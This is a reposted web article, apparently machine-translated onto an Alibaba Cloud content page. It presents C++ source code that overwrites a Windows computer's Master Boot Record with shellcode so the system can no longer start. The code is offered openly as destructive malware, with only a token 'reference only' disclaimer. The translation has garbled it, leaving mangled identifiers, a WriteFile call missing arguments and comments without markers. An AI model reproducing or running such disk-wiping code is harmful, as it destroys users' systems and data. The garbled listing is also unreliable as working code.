C + + destroys the MBR code _c language

Source: Internet
Author: User

This article describes the C + + destruction of the MBR code, the source is only destructive, so that the system can not access. For reference purposes only. Please do not use illegal purposes.

Source code from the Internet. The specific code is as follows:

Copy Code code as follows:
#include <Windows.h>
#include <stdio.h>

Shellcode wrote a few points to destroy the MBR and not enter the system.
unsigned char scode[]=
"\xb8\x12\x00"
"\XCD\X10\XBD"
"\X18\X7C\XB9";

DWORD writembr ()
{
DWORD dwbytesreturned;
BYTE pmbr[512]={0};

Write corrupted code to variable pmbr
memcpy (PMBR, SCODE, sizeof (SCODE));
pmbr[510]=0x55;
PMBR[511]=0XAA;

Open Physical Disk
HANDLE hdevice = CreateFile (" \\\\.\\physicaldrive0 ", Generic_read | Generic_write, file_share_read| File_share_write, NULL, open_existing, 0, NULL);
if (Hdevice = = INVALID_HANDLE_VALUE)
{
printf ("CreateFile failed ...");
return-1;
}

Lock volume, when using Fsctl_lock_volume, there are several parameters set to null,0;
/*parameters
Hdevice
A handle to the volume to be locked. To retrieve a device handle, call the CreateFile function.

Dwiocontrolcode
The control code for the operation. Use Fsctl_lock_volume to this operation.

Lpinbuffer
Not used with this operation; Set to NULL.

Ninbuffersize
Not used with this operation; Set to zero.

lpOutBuffer
Not used with this operation; Set to NULL.

Noutbuffersize
Not used with this operation; Set to zero.

lpbytesreturned
A pointer to a variable that receives the size of the the data stored in the output buffer, in bytes. */


DeviceIoControl (hdevice, fsctl_lock_volume, NULL, 0, NULL, 0, &dwbytesreturned, NULL);
Write to disk File
WriteFile (Hdevice, PMBR, &dwbytesreturned, NULL);
DeviceIoControl (hdevice, fsctl_unlock_volume, NULL, 0, NULL, 0, &dwbytesreturned, NULL);
return 0;
}

int main (int argc, char* argv[])
{
WRITEMBR ();
return 0;
}

I hope this article will help you with the C + + program design.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.